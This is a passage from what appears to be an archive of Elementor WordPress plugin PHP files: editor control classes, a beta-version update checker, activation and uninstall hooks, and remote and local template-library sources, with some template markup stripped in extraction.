$instance['alt'] ) ? trim( self::sanitise_text( $instance['alt'] ) ) : ''; } $attachment_id = $instance['id']; if ( ! $attachment_id ) { return ''; } $attachment = get_post( $attachment_id ); if ( ! $attachment ) { return ''; } $alt = get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ); if ( ! $alt ) { $alt = $attachment->post_excerpt; if ( ! $alt ) { $alt = $attachment->post_title; } } return trim( self::sanitise_text( $alt ) ); } public function get_style_value( $css_property, $control_value, array $control_data ) { if ( 'URL' !== $css_property || empty( $control_value['id'] ) ) { return parent::get_style_value( $css_property, $control_value, $control_data ); } if ( empty( $control_value['size'] ) ) { $control_value['size'] = 'full'; } return wp_get_attachment_image_url( $control_value['id'], $control_value['size'] ); } public static function sanitise_text( $string ) { return esc_attr( strip_tags( $string ) ); } } includes/controls/base-ui.php000064400000001004147206604650012260 0ustar00get_default_value(); if ( '' !== $default_value ) { $this->set_settings( 'default_value', $default_value ); } } /** * Get data control default value. * * Retrieve the default value of the data control. Used to return the default * values while initializing the data control. * * @since 1.5.0 * @access public * * @return string Control default value. */ public function get_default_value() { return ''; } /** * Get data control value. * * Retrieve the value of the data control from a specific Controls_Stack settings. * * @since 1.5.0 * @access public * * @param array $control Control * @param array $settings Element settings * * @return mixed Control values. */ public function get_value( $control, $settings ) { if ( ! isset( $control['default'] ) ) { $control['default'] = $this->get_default_value(); } if ( isset( $settings[ $control['name'] ] ) ) { $value = $settings[ $control['name'] ]; } else { $value = $control['default']; } return $value; } /** * Parse dynamic tags. * * Iterates through all the controls and renders all the dynamic tags. * * @since 2.0.0 * @access public * * @param string $dynamic_value The dynamic tag text. * @param array $dynamic_settings The dynamic tag settings. * * @return string|string[]|mixed A string or an array of strings with the * return value from each tag callback function. */ public function parse_tags( $dynamic_value, $dynamic_settings ) { $current_dynamic_settings = $this->get_settings( 'dynamic' ); if ( is_array( $current_dynamic_settings ) ) { $dynamic_settings = array_merge( $current_dynamic_settings, $dynamic_settings ); } return Plugin::$instance->dynamic_tags->parse_tags_text( $dynamic_value, $dynamic_settings, [ Plugin::$instance->dynamic_tags, 'get_tag_data_content' ] ); } /** * Get data control style value. * * Retrieve the style of the control. Used when adding CSS rules to the control * while extracting CSS from the `selectors` data argument. * * @since 1.5.0 * @since 2.3.3 New `$control_data` parameter added. * @access public * * @param string $css_property CSS property. * @param string $control_value Control value. * @param array $control_data Control Data. * * @return string Control style value. */ public function get_style_value( $css_property, $control_value, array $control_data ) { if ( 'DEFAULT' === $css_property ) { return $control_data['default']; } return $control_value; } /** * Get data control unique ID. * * Retrieve the unique ID of the control. Used to set a uniq CSS ID for the * element. * * @since 1.5.0 * @access protected * * @param string $input_type Input type. Default is 'default'. * * @return string Unique ID. */ protected function get_control_uid( $input_type = 'default' ) { return 'elementor-control-' . $input_type . '-{{{ data._cid }}}'; } /** * Safe Print data control unique ID. * * Retrieve the unique ID of the control. Used to set a unique CSS ID for the * element. * * @access protected * * @param string $input_type Input type. Default is 'default'. */ protected function print_control_uid( $input_type = 'default' ) { echo esc_attr( $this->get_control_uid( $input_type ) ); } } includes/controls/text.php000064400000004153147206604650011727 0ustar00
<# if ( data.label ) {#> <# } #>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> 'text', 'placeholder' => '', 'title' => '', 'ai' => [ 'active' => true, 'type' => 'text', ], 'dynamic' => [ 'categories' => [ TagsModule::TEXT_CATEGORY, ], ], ]; } } includes/controls/dimensions.php000064400000011701147206604650013110 0ustar00 '', 'right' => '', 'bottom' => '', 'left' => '', 'isLinked' => true, ] ); } public function get_singular_name() { return 'dimension'; } /** * Get dimensions control default settings. * * Retrieve the default settings of the dimensions control. Used to return the * default settings while initializing the dimensions control. * * @since 1.0.0 * @access protected * * @return array Control default settings. */ protected function get_default_settings() { return array_merge( parent::get_default_settings(), [ 'label_block' => true, 'allowed_dimensions' => 'all', 'placeholder' => '', ] ); } protected function get_dimensions() { return [ 'top' => __( 'Top', 'elementor' ), 'right' => __( 'Right', 'elementor' ), 'bottom' => __( 'Bottom', 'elementor' ), 'left' => __( 'Left', 'elementor' ), ]; } /** * Render dimensions control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { $class_name = $this->get_singular_name(); ?>
print_units_template(); ?>
    get_dimensions() as $dimension_key => $dimension_title ) : ?>
  • ' ) ) { #> disabled <# } #> />
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> 'Grow', 'shrink' => 'Shrink', 'pulse' => 'Pulse', 'pulse-grow' => 'Pulse Grow', 'pulse-shrink' => 'Pulse Shrink', 'push' => 'Push', 'pop' => 'Pop', 'bounce-in' => 'Bounce In', 'bounce-out' => 'Bounce Out', 'rotate' => 'Rotate', 'grow-rotate' => 'Grow Rotate', 'float' => 'Float', 'sink' => 'Sink', 'bob' => 'Bob', 'hang' => 'Hang', 'skew' => 'Skew', 'skew-forward' => 'Skew Forward', 'skew-backward' => 'Skew Backward', 'wobble-vertical' => 'Wobble Vertical', 'wobble-horizontal' => 'Wobble Horizontal', 'wobble-to-bottom-right' => 'Wobble To Bottom Right', 'wobble-to-top-right' => 'Wobble To Top Right', 'wobble-top' => 'Wobble Top', 'wobble-bottom' => 'Wobble Bottom', 'wobble-skew' => 'Wobble Skew', 'buzz' => 'Buzz', 'buzz-out' => 'Buzz Out', ]; } /** * Render hover animation control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> true, ]; } public static function get_assets( $setting ) { if ( ! $setting || 'none' === $setting ) { return []; } return [ 'styles' => [ 'e-animation-' . $setting ], ]; } } includes/controls/deprecated-notice.php000064400000004430147206604650014320 0ustar00 <# if ( data.label ) { #> {{{ data.label }}} <# } let notice = wp.i18n.sprintf( wp.i18n.__( 'The %1$s widget has been deprecated since %2$s %3$s.', 'elementor' ), data.widget, data.plugin, data.since ); if ( data.replacement ) { notice += '
' + wp.i18n.sprintf( wp.i18n.__( 'It has been replaced by %1$s.', 'elementor' ), data.replacement ); } if ( data.last ) { notice += '
' + wp.i18n.sprintf( wp.i18n.__( 'Note that %1$s will be completely removed once %2$s %3$s is released.', 'elementor' ), data.widget, data.plugin, data.last ); } #>
{{{ notice }}}
'', // Widgets name 'since' => '', // Plugin version widget was deprecated 'last' => '', // Plugin version in which the widget will be removed 'plugin' => '', // Plugin's title 'replacement' => '', // Widget replacement ]; } } includes/controls/base-units.php000064400000006773147206604650013027 0ustar00 'px', ]; } /** * Get units control default settings. * * Retrieve the default settings of the units control. Used to return the default * settings while initializing the units control. * * @since 1.0.0 * @access protected * * @return array Control default settings. */ protected function get_default_settings() { return [ 'size_units' => [ 'px' ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 100, 'step' => 1, ], 'em' => [ 'min' => 0.1, 'max' => 10, 'step' => 0.1, ], 'rem' => [ 'min' => 0.1, 'max' => 10, 'step' => 0.1, ], '%' => [ 'min' => 0, 'max' => 100, 'step' => 1, ], 'deg' => [ 'min' => 0, 'max' => 360, 'step' => 1, ], 'grad' => [ 'min' => 0, 'max' => 400, 'step' => 1, ], 'rad' => [ 'min' => 0, 'max' => 6.2832, 'step' => 0.0001, ], 'turn' => [ 'min' => 0, 'max' => 1, 'step' => 0.01, ], 'vh' => [ 'min' => 0, 'max' => 100, 'step' => 1, ], 'vw' => [ 'min' => 0, 'max' => 100, 'step' => 1, ], 's' => [ 'min' => 0, 'max' => 3, 'step' => 0.1, ], 'ms' => [ 'min' => 0, 'max' => 3000, 'step' => 100, ], ], ]; } /** * Print units control settings. * * Used to generate the units control template in the editor. * * @since 1.0.0 * @access protected */ protected function print_units_template() { ?> <# if ( data.size_units && data.size_units.length > 1 ) { #>
<# _.each( data.size_units, function( unit ) { #> <# } ); #>
<# } #> value` array. * * @since 1.0.0 * @abstract */ abstract class Control_Base_Multiple extends Base_Data_Control { /** * Get multiple control default value. * * Retrieve the default value of the multiple control. Used to return the default * values while initializing the multiple control. * * @since 1.0.0 * @access public * * @return array Control default value. */ public function get_default_value() { return []; } /** * Get multiple control value. * * Retrieve the value of the multiple control from a specific Controls_Stack settings. * * @since 1.0.0 * @access public * * @param array $control Control * @param array $settings Settings * * @return mixed Control values. */ public function get_value( $control, $settings ) { $value = parent::get_value( $control, $settings ); if ( empty( $control['default'] ) ) { $control['default'] = []; } if ( ! is_array( $value ) ) { $value = []; } $control['default'] = array_merge( $this->get_default_value(), $control['default'] ); return array_merge( $control['default'], $value ); } /** * Get multiple control style value. * * Retrieve the style of the control. Used when adding CSS rules to the control * while extracting CSS from the `selectors` data argument. * * @since 1.0.5 * @since 2.3.3 New `$control_data` parameter added. * @access public * * @param string $css_property CSS property. * @param array $control_value Control value. * @param array $control_data Control Data. * * @return array Control style value. */ public function get_style_value( $css_property, $control_value, array $control_data ) { return $control_value[ strtolower( $css_property ) ]; } } includes/controls/font.php000064400000004335147206604650011713 0ustar00 Fonts::get_font_groups(), 'options' => Fonts::get_fonts(), ]; } /** * Render font control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> true, ]; } /** * Render heading control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>

{{{ data.label }}}

'', 'library' => '', ]; } /** * Render Icons control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 2.6.0 * @access public */ public function content_template() { ?> <# if ( 'inline' === data.skin ) { #> render_inline_skin(); ?> <# } else { #> render_media_skin(); ?> <# } #>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #>
<# const defaultSkinSettings = { none: { label: '', icon: 'eicon-ban', }, svg: { label: '', icon: 'eicon-upload', }, icon: { label: '', icon: 'eicon-circle', } }; const skinSettings = data.skin_settings.inline; const get = ( type, key ) => { if ( skinSettings[ type ] ) { return skinSettings[ type ]?.[ key ] || defaultSkinSettings[ type ][ key ]; } return defaultSkinSettings[ type ][ key ]; } #>
<# if ( ! data.exclude_inline_options.includes( 'none' ) ) { #> <# } if ( ! data.exclude_inline_options.includes( 'svg' ) ) { #> <# } if ( ! data.exclude_inline_options.includes( 'icon' ) ) { #> <# } #>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> true, 'dynamic' => [ 'categories' => [ TagsModule::IMAGE_CATEGORY ], 'returnType' => 'object', ], 'search_bar' => true, 'recommended' => false, 'skin' => 'media', 'exclude_inline_options' => [], 'disable_initial_active_state' => false, 'skin_settings' => [ 'inline' => [ 'none' => [ 'label' => esc_html__( 'None', 'elementor' ), 'icon' => 'eicon-ban', ], 'svg' => [ 'label' => esc_html__( 'Upload SVG', 'elementor' ), 'icon' => 'eicon-upload', ], 'icon' => [ 'label' => esc_html__( 'Icon Library', 'elementor' ), 'icon' => 'eicon-circle', ], ], ], ]; } /** * Support SVG Import * * @deprecated 3.5.0 * * @param $mimes * @return mixed */ public function support_svg_import( $mimes ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); $mimes['svg'] = 'image/svg+xml'; return $mimes; } public function on_import( $settings ) { if ( empty( $settings['library'] ) || 'svg' !== $settings['library'] || empty( $settings['value']['url'] ) ) { return $settings; } $imported = Plugin::$instance->templates_manager->get_import_images_instance()->import( $settings['value'] ); if ( ! $imported ) { $settings['value'] = ''; $settings['library'] = ''; } else { $settings['value'] = $imported; } return $settings; } } includes/controls/hidden.php000064400000001664147206604650012202 0ustar00 true, 'language' => 'html', // html/css 'rows' => 10, 'ai' => [ 'active' => true, 'type' => 'code', ], 'dynamic' => [ 'categories' => [ TagsModule::TEXT_CATEGORY ], ], ]; } /** * Render code control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> transient_key ); if ( false === $beta_version ) { $beta_version = 'false'; $response = wp_remote_get( 'https://plugins.svn.wordpress.org/elementor/trunk/readme.txt' ); if ( ! is_wp_error( $response ) && ! empty( $response['body'] ) ) { preg_match( '/Beta tag: (.*)/i', $response['body'], $matches ); if ( isset( $matches[1] ) ) { $beta_version = $matches[1]; } } set_site_transient( $this->transient_key, $beta_version, 6 * HOUR_IN_SECONDS ); } return $beta_version; } /** * Check version. * * Checks whether a beta version exist, and retrieve the version data. * * Fired by `pre_set_site_transient_update_plugins` filter, before WordPress * runs the plugin update checker. * * @since 1.5.0 * @access public * * @param array $transient Plugin version data. * * @return array Plugin version data. */ public function check_version( $transient ) { if ( empty( $transient->checked ) ) { return $transient; } delete_site_transient( $this->transient_key ); $plugin_slug = basename( ELEMENTOR__FILE__, '.php' ); $beta_version = $this->get_beta_version(); if ( 'false' !== $beta_version && version_compare( $beta_version, ELEMENTOR_VERSION, '>' ) ) { $response = new \stdClass(); $response->plugin = $plugin_slug; $response->slug = $plugin_slug; $response->new_version = $beta_version; $response->url = 'https://elementor.com/'; $response->package = sprintf( 'https://downloads.wordpress.org/plugin/elementor.%s.zip', $beta_version ); $transient->response[ ELEMENTOR_PLUGIN_BASE ] = $response; } return $transient; } /** * Beta testers constructor. * * Initializing Elementor beta testers. * * @since 1.5.0 * @access public */ public function __construct() { if ( 'yes' !== get_option( 'elementor_beta', 'no' ) ) { return; } $this->transient_key = md5( 'elementor_beta_testers_response_key' ); add_filter( 'pre_set_site_transient_update_plugins', [ $this, 'check_version' ] ); } } includes/maintenance.php000064400000005141147206604650011360 0ustar00 'ids', ] ) ); return; } static::create_default_kit(); static::insert_defaults_options(); set_transient( 'elementor_activation_redirect', true, MINUTE_IN_SECONDS ); } public static function insert_defaults_options() { $history = Upgrade_Manager::get_installs_history(); if ( empty( $history ) ) { $default_options = [ 'elementor_font_display' => 'swap', ]; foreach ( $default_options as $option_name => $option_value ) { if ( \Elementor\Utils::is_empty( get_option( $option_name ) ) ) { add_option( $option_name, $option_value ); } } } } /** * Uninstall Elementor. * * Set Elementor uninstallation hook. * * Fired by `register_uninstall_hook` when the plugin is uninstalled. * * @since 1.0.0 * @access public * @static */ public static function uninstall() { wp_clear_scheduled_hook( 'elementor/tracker/send_event' ); } /** * Init. * * Initialize Elementor Maintenance. * * @since 1.0.0 * @access public * @static */ public static function init() { register_activation_hook( ELEMENTOR_PLUGIN_BASE, [ __CLASS__, 'activation' ] ); register_uninstall_hook( ELEMENTOR_PLUGIN_BASE, [ __CLASS__, 'uninstall' ] ); add_action( 'wpmu_new_blog', function ( $site_id ) { if ( ! is_plugin_active_for_network( ELEMENTOR_PLUGIN_BASE ) ) { return; } static::create_default_kit( [ $site_id ] ); } ); } /** * @param array $site_ids */ private static function create_default_kit( array $site_ids = [] ) { if ( ! empty( $site_ids ) ) { foreach ( $site_ids as $site_id ) { switch_to_blog( $site_id ); Manager::create_default_kit(); restore_current_blog(); }; return; } Manager::create_default_kit(); } } includes/template-library/sources/base.php000064400000020720147206604650014750 0ustar00register_data(); } /** * Mark template as favorite. * * Update user meta containing his favorite templates. For a given template * ID, add the template to the favorite templates or remove it from the * favorites, based on the `favorite` parameter. * * @since 1.9.0 * @access public * * @param int $template_id The template ID. * @param bool $favorite Optional. Whether the template is marked as * favorite, or not. Default is true. * * @return int|bool User meta ID if the key didn't exist, true on successful * update, false on failure. */ public function mark_as_favorite( $template_id, $favorite = true ) { $favorites_templates = $this->get_user_meta( 'favorites' ); if ( ! $favorites_templates ) { $favorites_templates = []; } if ( $favorite ) { $favorites_templates[ $template_id ] = $favorite; } elseif ( isset( $favorites_templates[ $template_id ] ) ) { unset( $favorites_templates[ $template_id ] ); } return $this->update_user_meta( 'favorites', $favorites_templates ); } /** * Get current user meta. * * Retrieve Elementor meta data for the current user. * * @since 1.9.0 * @access public * * @param string $item Optional. User meta key. Default is null. * * @return null|array An array of user meta data, or null otherwise. */ public function get_user_meta( $item = null ) { if ( null === $this->user_meta ) { $this->user_meta = get_user_meta( get_current_user_id(), $this->get_user_meta_prefix(), true ); } if ( ! $this->user_meta ) { $this->user_meta = []; } if ( $item ) { if ( isset( $this->user_meta[ $item ] ) ) { return $this->user_meta[ $item ]; } return null; } return $this->user_meta; } /** * Update current user meta. * * Update user meta data based on meta key an value. * * @since 1.9.0 * @access public * * @param string $key Optional. User meta key. * @param mixed $value Optional. User meta value. * * @return int|bool User meta ID if the key didn't exist, true on successful * update, false on failure. */ public function update_user_meta( $key, $value ) { $meta = $this->get_user_meta(); $meta[ $key ] = $value; $this->user_meta = $meta; return update_user_meta( get_current_user_id(), $this->get_user_meta_prefix(), $meta ); } /** * Replace elements IDs. * * For any given Elementor content/data, replace the IDs with new randomly * generated IDs. * * @since 1.0.0 * @access protected * * @param array $content Any type of Elementor data. * * @return mixed Iterated data. */ protected function replace_elements_ids( $content ) { return Plugin::$instance->db->iterate_data( $content, function( $element ) { $element['id'] = Utils::generate_random_string(); return $element; } ); } /** * Get Elementor library user meta prefix. * * Retrieve user meta prefix used to save Elementor data. * * @since 1.9.0 * @access protected * * @return string User meta prefix. */ protected function get_user_meta_prefix() { return 'elementor_library_' . $this->get_id(); } /** * Process content for export/import. * * Process the content and all the inner elements, and prepare all the * elements data for export/import. * * @since 1.5.0 * @access protected * * @param array $content A set of elements. * @param string $method Accepts either `on_export` to export data or * `on_import` to import data. * * @return mixed Processed content data. */ protected function process_export_import_content( $content, $method ) { return Plugin::$instance->db->iterate_data( $content, function( $element_data ) use ( $method ) { $element = Plugin::$instance->elements_manager->create_element_instance( $element_data ); // If the widget/element isn't exist, like a plugin that creates a widget but deactivated if ( ! $element ) { return null; } return $this->process_element_export_import_content( $element, $method ); } ); } /** * Process single element content for export/import. * * Process any given element and prepare the element data for export/import. * * @since 1.5.0 * @access protected * * @param Controls_Stack $element * @param string $method * * @return array Processed element data. */ protected function process_element_export_import_content( Controls_Stack $element, $method ) { $element_data = $element->get_data(); if ( method_exists( $element, $method ) ) { // TODO: Use the internal element data without parameters. $element_data = $element->{$method}( $element_data ); } foreach ( $element->get_controls() as $control ) { $control_class = Plugin::$instance->controls_manager->get_control( $control['type'] ); // If the control isn't exist, like a plugin that creates the control but deactivated. if ( ! $control_class ) { return $element_data; } if ( method_exists( $control_class, $method ) ) { $element_data['settings'][ $control['name'] ] = $control_class->{$method}( $element->get_settings( $control['name'] ), $control ); } // On Export, check if the control has an argument 'export' => false. if ( 'on_export' === $method && isset( $control['export'] ) && false === $control['export'] ) { unset( $element_data['settings'][ $control['name'] ] ); } } return $element_data; } } includes/template-library/sources/remote.php000064400000021705147206604650015335 0ustar00add_actions(); } public function add_actions() { add_action( 'elementor/experiments/feature-state-change/container', [ $this, 'clear_cache' ], 10, 0 ); } /** * Get remote template ID. * * Retrieve the remote template ID. * * @since 1.0.0 * @access public * * @return string The remote template ID. */ public function get_id() { return 'remote'; } /** * Get remote template title. * * Retrieve the remote template title. * * @since 1.0.0 * @access public * * @return string The remote template title. */ public function get_title() { return esc_html__( 'Remote', 'elementor' ); } /** * Register remote template data. * * Used to register custom template data like a post type, a taxonomy or any * other data. * * @since 1.0.0 * @access public */ public function register_data() {} /** * Get remote templates. * * Retrieve remote templates from Elementor.com servers. * * @since 1.0.0 * @access public * * @param array $args Optional. Not used in remote source. * * @return array Remote templates. */ public function get_items( $args = [] ) { $force_update = ! empty( $args['force_update'] ) && is_bool( $args['force_update'] ); $templates_data = $this->get_templates_data( $force_update ); $templates = []; foreach ( $templates_data as $template_data ) { $templates[] = $this->prepare_template( $template_data ); } return $templates; } /** * Get remote template. * * Retrieve a single remote template from Elementor.com servers. * * @since 1.0.0 * @access public * * @param int $template_id The template ID. * * @return array Remote template. */ public function get_item( $template_id ) { $templates = $this->get_items(); return $templates[ $template_id ]; } /** * Save remote template. * * Remote template from Elementor.com servers cannot be saved on the * database as they are retrieved from remote servers. * * @since 1.0.0 * @access public * * @param array $template_data Remote template data. * * @return \WP_Error */ public function save_item( $template_data ) { return new \WP_Error( 'invalid_request', 'Cannot save template to a remote source' ); } /** * Update remote template. * * Remote template from Elementor.com servers cannot be updated on the * database as they are retrieved from remote servers. * * @since 1.0.0 * @access public * * @param array $new_data New template data. * * @return \WP_Error */ public function update_item( $new_data ) { return new \WP_Error( 'invalid_request', 'Cannot update template to a remote source' ); } /** * Delete remote template. * * Remote template from Elementor.com servers cannot be deleted from the * database as they are retrieved from remote servers. * * @since 1.0.0 * @access public * * @param int $template_id The template ID. * * @return \WP_Error */ public function delete_template( $template_id ) { return new \WP_Error( 'invalid_request', 'Cannot delete template from a remote source' ); } /** * Export remote template. * * Remote template from Elementor.com servers cannot be exported from the * database as they are retrieved from remote servers. * * @since 1.0.0 * @access public * * @param int $template_id The template ID. * * @return \WP_Error */ public function export_template( $template_id ) { return new \WP_Error( 'invalid_request', 'Cannot export template from a remote source' ); } /** * Get remote template data. * * Retrieve the data of a single remote template from Elementor.com servers. * * @since 1.5.0 * @access public * * @param array $args Custom template arguments. * @param string $context Optional. The context. Default is `display`. * * @return array|\WP_Error Remote Template data. */ public function get_data( array $args, $context = 'display' ) { $data = Api::get_template_content( $args['template_id'] ); if ( is_wp_error( $data ) ) { return $data; } // Set the Request's state as an Elementor upload request, in order to support unfiltered file uploads. Plugin::$instance->uploads_manager->set_elementor_upload_state( true ); // BC. $data = (array) $data; $data['content'] = $this->replace_elements_ids( $data['content'] ); $data['content'] = $this->process_export_import_content( $data['content'], 'on_import' ); $post_id = $args['editor_post_id']; $document = Plugin::$instance->documents->get( $post_id ); if ( $document ) { $data['content'] = $document->get_elements_raw_data( $data['content'], true ); } // After the upload complete, set the elementor upload state back to false Plugin::$instance->uploads_manager->set_elementor_upload_state( false ); return $data; } /** * Get templates data from a transient or from a remote request. * In any of the following 2 conditions, the remote request will be triggered: * 1. Force update - "$force_update = true" parameter was passed. * 2. The data saved in the transient is empty or not exist. * * @param bool $force_update * @return array */ private function get_templates_data( bool $force_update ) : array { $templates_data_cache_key = static::TEMPLATES_DATA_TRANSIENT_KEY_PREFIX . ELEMENTOR_VERSION; $experiments_manager = Plugin::$instance->experiments; $editor_layout_type = $experiments_manager->is_feature_active( 'container' ) ? 'container_flexbox' : ''; if ( $force_update ) { return $this->get_templates( $editor_layout_type ); } $templates_data = get_transient( $templates_data_cache_key ); if ( empty( $templates_data ) ) { return $this->get_templates( $editor_layout_type ); } return $templates_data; } /** * Get the templates from a remote server and set a transient. * * @param string $editor_layout_type * @return array */ private function get_templates( string $editor_layout_type ): array { $templates_data_cache_key = static::TEMPLATES_DATA_TRANSIENT_KEY_PREFIX . ELEMENTOR_VERSION; $templates_data = $this->get_templates_remotely( $editor_layout_type ); if ( empty( $templates_data ) ) { return []; } set_transient( $templates_data_cache_key, $templates_data, 12 * HOUR_IN_SECONDS ); return $templates_data; } /** * Fetch templates from the remote server. * * @param string $editor_layout_type * @return array|false */ private function get_templates_remotely( string $editor_layout_type ) { $response = wp_remote_get( static::API_TEMPLATES_URL, [ 'body' => [ 'plugin_version' => ELEMENTOR_VERSION, 'editor_layout_type' => $editor_layout_type, ], ] ); if ( is_wp_error( $response ) || 200 !== (int) wp_remote_retrieve_response_code( $response ) ) { return false; } $templates_data = json_decode( wp_remote_retrieve_body( $response ), true ); if ( empty( $templates_data ) || ! is_array( $templates_data ) ) { return []; } return $templates_data; } /** * @since 2.2.0 * @access private */ private function prepare_template( array $template_data ) { $favorite_templates = $this->get_user_meta( 'favorites' ); // BC: Support legacy APIs that don't have access tiers. if ( isset( $template_data['access_tier'] ) ) { $access_tier = $template_data['access_tier']; } else { $access_tier = 0 === $template_data['access_level'] ? ConnectModule::ACCESS_TIER_FREE : ConnectModule::ACCESS_TIER_ESSENTIAL; } return [ 'template_id' => $template_data['id'], 'source' => $this->get_id(), 'type' => $template_data['type'], 'subtype' => $template_data['subtype'], 'title' => $template_data['title'], 'thumbnail' => $template_data['thumbnail'], 'date' => $template_data['tmpl_created'], 'author' => $template_data['author'], 'tags' => json_decode( $template_data['tags'] ), 'isPro' => ( '1' === $template_data['is_pro'] ), 'accessLevel' => $template_data['access_level'], 'accessTier' => $access_tier, 'popularityIndex' => (int) $template_data['popularity_index'], 'trendIndex' => (int) $template_data['trend_index'], 'hasPageSettings' => ( '1' === $template_data['has_page_settings'] ), 'url' => $template_data['url'], 'favorite' => ! empty( $favorite_templates[ $template_data['id'] ] ), ]; } public function clear_cache() { delete_transient( static::TEMPLATES_DATA_TRANSIENT_KEY_PREFIX . ELEMENTOR_VERSION ); } } includes/template-library/sources/admin-menu-items/add-new-template-menu-item.php000064400000001200147206604650024225 0ustar00base && self::CPT === $current_screen->post_type; } /** * Add template type. * * Register new template type to the list of supported local template types. * * @since 1.0.3 * @access public * @static * * @param string $type Template type. */ public static function add_template_type( $type ) { self::$template_types[ $type ] = $type; } /** * Remove template type. * * Remove existing template type from the list of supported local template * types. * * @since 1.8.0 * @access public * @static * * @param string $type Template type. */ public static function remove_template_type( $type ) { if ( isset( self::$template_types[ $type ] ) ) { unset( self::$template_types[ $type ] ); } } public static function get_admin_url( $relative = false ) { $base_url = self::ADMIN_MENU_SLUG; if ( ! $relative ) { $base_url = admin_url( $base_url ); } return add_query_arg( 'tabs_group', 'library', $base_url ); } /** * Get local template ID. * * Retrieve the local template ID. * * @since 1.0.0 * @access public * * @return string The local template ID. */ public function get_id() { return 'local'; } /** * Get local template title. * * Retrieve the local template title. * * @since 1.0.0 * @access public * * @return string The local template title. */ public function get_title() { return esc_html__( 'Local', 'elementor' ); } /** * Register local template data. * * Used to register custom template data like a post type, a taxonomy or any * other data. * * The local template class registers a new `elementor_library` post type * and an `elementor_library_type` taxonomy. They are used to store data for * local templates saved by the user on his site. * * @since 1.0.0 * @access public */ public function register_data() { $labels = [ 'name' => esc_html_x( 'My Templates', 'Template Library', 'elementor' ), 'singular_name' => esc_html_x( 'Template', 'Template Library', 'elementor' ), 'add_new' => esc_html__( 'Add New Template', 'elementor' ), 'add_new_item' => esc_html__( 'Add New Template', 'elementor' ), 'edit_item' => esc_html__( 'Edit Template', 'elementor' ), 'new_item' => esc_html__( 'New Template', 'elementor' ), 'all_items' => esc_html__( 'All Templates', 'elementor' ), 'view_item' => esc_html__( 'View Template', 'elementor' ), 'search_items' => esc_html__( 'Search Template', 'elementor' ), 'not_found' => esc_html__( 'No Templates found', 'elementor' ), 'not_found_in_trash' => esc_html__( 'No Templates found in Trash', 'elementor' ), 'parent_item_colon' => esc_html__( 'Parent Template:', 'elementor' ), 'menu_name' => esc_html_x( 'Templates', 'Template Library', 'elementor' ), ]; $args = [ 'labels' => $labels, 'public' => true, 'rewrite' => false, 'menu_icon' => 'dashicons-admin-page', 'show_ui' => true, 'show_in_menu' => true, 'show_in_nav_menus' => false, 'exclude_from_search' => true, 'capability_type' => 'post', 'hierarchical' => false, 'supports' => [ 'title', 'thumbnail', 'author', 'elementor' ], ]; /** * Register template library post type args. * * Filters the post type arguments when registering elementor template library post type. * * @since 1.0.0 * * @param array $args Arguments for registering a post type. */ $args = apply_filters( 'elementor/template_library/sources/local/register_post_type_args', $args ); $this->post_type_object = register_post_type( self::CPT, $args ); $args = [ 'hierarchical' => false, 'show_ui' => false, 'show_in_nav_menus' => false, 'show_admin_column' => true, 'query_var' => is_admin(), 'rewrite' => false, 'public' => false, 'label' => esc_html_x( 'Type', 'Template Library', 'elementor' ), ]; /** * Register template library taxonomy args. * * Filters the taxonomy arguments when registering elementor template library taxonomy. * * @since 1.0.0 * * @param array $args Arguments for registering a taxonomy. */ $args = apply_filters( 'elementor/template_library/sources/local/register_taxonomy_args', $args ); $cpts_to_associate = [ self::CPT ]; /** * Custom post types to associate. * * Filters the list of custom post types when registering elementor template library taxonomy. * * @since 1.0.0 * * @param array $cpts_to_associate Custom post types. Default is `elementor_library` post type. */ $cpts_to_associate = apply_filters( 'elementor/template_library/sources/local/register_taxonomy_cpts', $cpts_to_associate ); register_taxonomy( self::TAXONOMY_TYPE_SLUG, $cpts_to_associate, $args ); /** * Categories */ $args = [ 'hierarchical' => true, 'show_ui' => true, 'show_in_nav_menus' => false, 'show_admin_column' => true, 'query_var' => is_admin(), 'rewrite' => false, 'public' => false, 'labels' => [ 'name' => esc_html_x( 'Categories', 'Template Library', 'elementor' ), 'singular_name' => esc_html_x( 'Category', 'Template Library', 'elementor' ), 'all_items' => esc_html_x( 'All Categories', 'Template Library', 'elementor' ), ], ]; /** * Register template library category args. * * Filters the category arguments when registering elementor template library category. * * @since 2.4.0 * * @param array $args Arguments for registering a category. */ $args = apply_filters( 'elementor/template_library/sources/local/register_category_args', $args ); register_taxonomy( self::TAXONOMY_CATEGORY_SLUG, self::CPT, $args ); } /** * Remove Add New item from admin menu. * * Fired by `admin_menu` action. * * @since 2.4.0 * @access public */ private function admin_menu_reorder( Admin_Menu_Manager $admin_menu ) { global $submenu; if ( ! isset( $submenu[ static::ADMIN_MENU_SLUG ] ) ) { return; } remove_submenu_page( static::ADMIN_MENU_SLUG, static::ADMIN_MENU_SLUG ); $add_new_slug = 'post-new.php?post_type=' . static::CPT; $category_slug = 'edit-tags.php?taxonomy=' . static::TAXONOMY_CATEGORY_SLUG . '&post_type=' . static::CPT; $library_submenu = new Collection( $submenu[ static::ADMIN_MENU_SLUG ] ); $add_new_item = $library_submenu->find( function ( $item ) use ( $add_new_slug ) { return $add_new_slug === $item[2]; } ); $categories_item = $library_submenu->find( function ( $item ) use ( $category_slug ) { return $category_slug === 